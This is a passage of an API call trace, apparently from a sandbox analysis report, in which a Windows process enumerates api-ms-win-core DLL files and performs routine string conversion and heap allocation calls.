lpMultiByteStr=0x1d3c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.847] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x1d3c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.847] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x1d3c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.847] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.847] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x1d3c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.848] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d3c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.848] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1d3c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0040.848] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.848] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.848] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.849] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d3c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.849] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d3c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.849] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.849] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.849] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d3c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.850] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1d3c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.850] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.850] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.850] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d3c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0040.850] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.850] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", 